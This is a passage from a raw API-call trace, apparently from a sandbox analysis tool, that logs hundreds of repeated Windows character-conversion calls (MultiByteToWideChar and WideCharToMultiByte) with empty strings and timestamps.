lpUsedDefaultChar=0x0) returned 1 [0048.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", 